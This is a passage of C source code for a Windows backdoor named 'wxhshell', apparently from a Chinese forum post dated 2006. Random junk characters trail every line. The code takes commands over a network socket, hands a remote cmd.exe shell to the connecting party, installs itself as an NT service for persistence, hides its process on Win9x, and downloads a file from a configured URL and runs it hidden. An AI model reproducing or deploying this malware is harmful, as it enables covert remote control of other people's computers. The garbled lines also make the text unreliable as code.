  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9 gc0Ri[4m  
  } YXLZ2-%ohZ  
  else { ="('  #o  
GK`U<.[c  
    switch(cmd[0]) { Z [YSE T  
  Kgw, ]E&7  
  // 帮助 vn x+1T  
  case '?': { M\A6;dz'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XY,!vLjL  
    break; _[pbf ua  
  } Ew )1O9f  
  // 安装 *5KDu$'(e  
  case 'i': { !BjJ5m  
    if(Install()) B'-n ^';  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8\S$iGd  
    else s^"*]9B"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8dLK5"_3  
    break; -4v2]  
    } a|-ozBFR  
  // 卸载 1wy?<B.f  
  case 'r': { ~,Kx"VK  
    if(Uninstall()) cB6LJ}R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7S{yKS  
    else pS~=T}o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2AXf'IOqE  
    break; ':7gYP*v  
    } Y~B-dx'V  
  // 显示 wxhshell 所在路径 d$HPpi1LL  
  case 'p': { ATF>"Ux  
    char svExeFile[MAX_PATH]; l@5kw]6  
    strcpy(svExeFile,"\n\r"); LO;6g~(1  
      strcat(svExeFile,ExeFile); xz-?sD/xe  
        send(wsh,svExeFile,strlen(svExeFile),0); Sg< B+u\\  
    break; ^4C djMF-E  
    } *o=[p2d"X  
  // 重启 &9EcgazV  
  case 'b': { 2-%9k)KH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W+i&!'  
    if(Boot(REBOOT)) W.c>("gC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 48)D%867.;  
    else { .1:B\ R((  
    closesocket(wsh); e3k58  
    ExitThread(0);  ^+wA,r.  
    } ?h:xO\h8  
    break; "..I$R  
    } TR9dpt+T  
  // 关机 -VvN1G6.x?  
  case 'd': { W.l#@p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;0o% hx  
    if(Boot(SHUTDOWN)) fwi -   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m#^;V  
    else { c6cB {/g  
    closesocket(wsh); MDoV84Fh  
    ExitThread(0); XZ:6A]62I  
    } ~?Zm3zOCc2  
    break; |`'WEe2  
    } oml^f~pm  
  // 获取shell #'97mg  
  case 's': { H`4KhdqR  
    CmdShell(wsh); riQ0'-p  
    closesocket(wsh); {$I1(DYN  
    ExitThread(0); GO3KKuQ=  
    break; qS?^(Vt|R  
  } ! u9LZ  
  // 退出 ;( (|0Xa  
  case 'x': { V6&6I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J; N\q  
    CloseIt(wsh); ~!P&LZ  
    break; F{E`MK~f_  
    } j9R+;u/!  
  // 离开  = Atyy  
  case 'q': { deOk>v&U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3F$N@K~s  
    closesocket(wsh); \F14]`i  
    WSACleanup(); -d[Gy- J  
    exit(1); 13A~."b  
    break; jd.w7.8  
        } X2`n&JE  
  } Yv3 P]6c.  
  } 23X-h#w  
NbK67p:  
  // 提示信息 I:M15  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^sF(IV[>  
} |(=b  
  } $XcuU sG  
}" STc&1  
  return; Qx8O&C?Ti  
} }[y_Fr0  
l)f 2T@bHl  
// shell模块句柄 bZ}T;!U?I  
int CmdShell(SOCKET sock) w3M F62:  
{ }Vfc;2  
STARTUPINFO si; +&.39q !  
ZeroMemory(&si,sizeof(si)); 2L S91  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x,c\q$8yH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _opB,,G  
PROCESS_INFORMATION ProcessInfo; 2BO"mc<#$  
char cmdline[]="cmd"; 7 b{y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XdE|7=+s  
  return 0; s0'6r$xj  
} SP4(yJy&  
t\O#5mo  
// 自身启动模式 SmV}Wf  
int StartFromService(void) 'jYKfq~_cJ  
{ nq\~`vH|Gd  
typedef struct rxOv YF  
{ HE-ErEtGB  
  DWORD ExitStatus; Ah;`0Hz;  
  DWORD PebBaseAddress; X.AE>fx*h  
  DWORD AffinityMask; hLaQ[9  
  DWORD BasePriority; F#z1 sl'  
  ULONG UniqueProcessId; \^dYmU  
  ULONG InheritedFromUniqueProcessId; 0U! _o2]  
}   PROCESS_BASIC_INFORMATION; TVK*l*  
T3t w.yh  
PROCNTQSIP NtQueryInformationProcess; QG5 c>Q  
,7;euV5X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Wf =hFc1_@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }^`5$HEi  
jSw>z`'#H  
  HANDLE             hProcess; <1<0odB  
  PROCESS_BASIC_INFORMATION pbi; M&KJZ  
/}S1e P6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V]/ $ dJ  
  if(NULL == hInst ) return 0; :/6u*HwZh  
>fp_$bjd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VqS1n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VP^{-mDph  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o97*3W]  
&H%z1Lp  
  if (!NtQueryInformationProcess) return 0; {w ]L'0ES[  
LAuaowE\v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (R!`Z%  
  if(!hProcess) return 0; ,#hNHFa'JH  
:` S\p[5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1_> w|6;e  
7|<-rjz^  
  CloseHandle(hProcess); o),@I#fM  
X(Lz&fkd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1%7zCM0s  
if(hProcess==NULL) return 0; ooj^Z%9P  
0e j*0"Mq  
HMODULE hMod; =- !B4G$  
char procName[255]; !*}E  
unsigned long cbNeeded; >[g.8'hI  
nX<yB9bXDg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {?X9juc/#  
ew,g'$drD  
  CloseHandle(hProcess); T!|-dYYI  
P%ZU+ET  
if(strstr(procName,"services")) return 1; // 以服务启动 =_[Ich,}  
`&J=3x  
  return 0; // 注册表启动 70Ei<  
} @1V?94T1  
}BiA@n,  
// 主模块 9Yji34eDZ  
int StartWxhshell(LPSTR lpCmdLine) k"+/DK,:  
{ *enT2Q  
  SOCKET wsl; CL5t6D9Qi  
BOOL val=TRUE; @e+qe9A|  
  int port=0; 8|Wl|@1(  
  struct sockaddr_in door; $HAwd6NI  
tY60~@YO&  
  if(wscfg.ws_autoins) Install(); aL/7xa  
O`.IE? h#  
port=atoi(lpCmdLine); l?KP /0`  
$Q`\-  
if(port<=0) port=wscfg.ws_port; VW:Voc  
>| hqt8lY  
  WSADATA data; Agwl2AM5k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Rc}#4pM8  
3# idXc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G$jw#a[L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oSH]TL2@Cd  
  door.sin_family = AF_INET; 1t7T\~ +F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q]v{o8:U  
  door.sin_port = htons(port); 2 '8I/>-  
Sv[+~co<l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Obc wmL  
closesocket(wsl); u9{Z*w3L7  
return 1; 2Iq*7n:v0  
} =64Ju Wvo  
avd`7eH2  
  if(listen(wsl,2) == INVALID_SOCKET) { '3B7F5uLx"  
closesocket(wsl); Lp{/  
return 1; on f7V  
} ]"i^ VVw  
  Wxhshell(wsl); #3YYE5cB  
  WSACleanup(); S>R40T=e  
i7`/"5I  
return 0; z"Wyf6H0T  
>"D0vj  
} V""3#Tw   
gO bP  
// 以NT服务方式启动 20)8e!jP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "Wy!,RH  
{ K?=g IC:  
DWORD   status = 0; 1fV\84m^  
  DWORD   specificError = 0xfffffff; oi%IHX(`  
xgWVxX^)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D}?JX5.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wArzMt}[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OJs s  
  serviceStatus.dwWin32ExitCode     = 0; n&FRjq9y  
  serviceStatus.dwServiceSpecificExitCode = 0; _+qtH< F/  
  serviceStatus.dwCheckPoint       = 0; V/J-zH&  
  serviceStatus.dwWaitHint       = 0; A~8-{F 31  
!-8y;,P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0~ cbB  
  if (hServiceStatusHandle==0) return; HCaEETk5  
sDXQ{*6a  
status = GetLastError(); D#11 N^-K  
  if (status!=NO_ERROR) |k)Nf+(}W  
{ k'K 1zUBj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }nWW`:t kx  
    serviceStatus.dwCheckPoint       = 0; W<H<~wf#  
    serviceStatus.dwWaitHint       = 0; #a!qJeWm0  
    serviceStatus.dwWin32ExitCode     = status; K}Lu1:~  
    serviceStatus.dwServiceSpecificExitCode = specificError; Sp@{5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }M${ _D  
    return; sB<y(}u  
  } %kiPE<<x  
zC!Pb{IaH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8o,"G}Hjk  
  serviceStatus.dwCheckPoint       = 0; CPu~^ik  
  serviceStatus.dwWaitHint       = 0; `YK#m4gc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0|~3\e/QV  
} m"~),QwF9  
?I 7hbqQd  
// 处理NT服务事件,比如:启动、停止 C oO0~q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ml+O - 3T  
{ Ce_l\J8G  
switch(fdwControl) <s5s<q2  
{ h\*I*I8C  
case SERVICE_CONTROL_STOP: }z_7?dn/  
  serviceStatus.dwWin32ExitCode = 0; KOD%>+vG$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Wq*W+7=.  
  serviceStatus.dwCheckPoint   = 0; FMAt6HfU  
  serviceStatus.dwWaitHint     = 0; n#)kvr  
  { jn>RE   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^-K ~y  
  }  t/a  
  return; t<znz6  
case SERVICE_CONTROL_PAUSE: }E\u2]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {(^%2dk83C  
  break; |3 v+&eVi  
case SERVICE_CONTROL_CONTINUE: 3NgyF[c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3!u:*ibt  
  break; +JY]J89  
case SERVICE_CONTROL_INTERROGATE: xBAASy  
  break; e",0Er FT  
}; f_ UwIP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I=}R Z9  
}  X&.LX  
hi9@U]H#  
// 标准应用程序主函数 CR`}{?2H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RTeG\U  
{ ]s~%1bd  
%s[ n2w  
// 获取操作系统版本 u'aWvN y+  
OsIsNt=GetOsVer(); >w|2 ~oK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IoWK 8x  
x%, !px3s  
  // 从命令行安装 "y=AVO  
  if(strpbrk(lpCmdLine,"iI")) Install(); F6-U{+KU$!  
be~'}`>  
  // 下载执行文件 Bc51 0I$c  
if(wscfg.ws_downexe) { <84d Vg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }G 1hB#j  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9d&}CZr  
} j'|`:^ Sy  
rfhvdwwD  
if(!OsIsNt) { };]f 3  
// 如果时win9x,隐藏进程并且设置为注册表启动 4GqE%n+ta~  
HideProc(); $|}PL[aA#  
StartWxhshell(lpCmdLine); }B2qtb3  
} |BA<> WE  
else >y iE}  
  if(StartFromService()) kB ;!EuL  
  // 以服务方式启动 of?0 y-LT%  
  StartServiceCtrlDispatcher(DispatchTable); X1Y+ao1)  
else $Z4IPs  
  // 普通方式启动 W&Kjh|[1QZ  
  StartWxhshell(lpCmdLine); 1TL~I-G&n  
N1u2=puJY  
return 0; ah0  
}
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只看该作者 1 发表于: 2006-10-10
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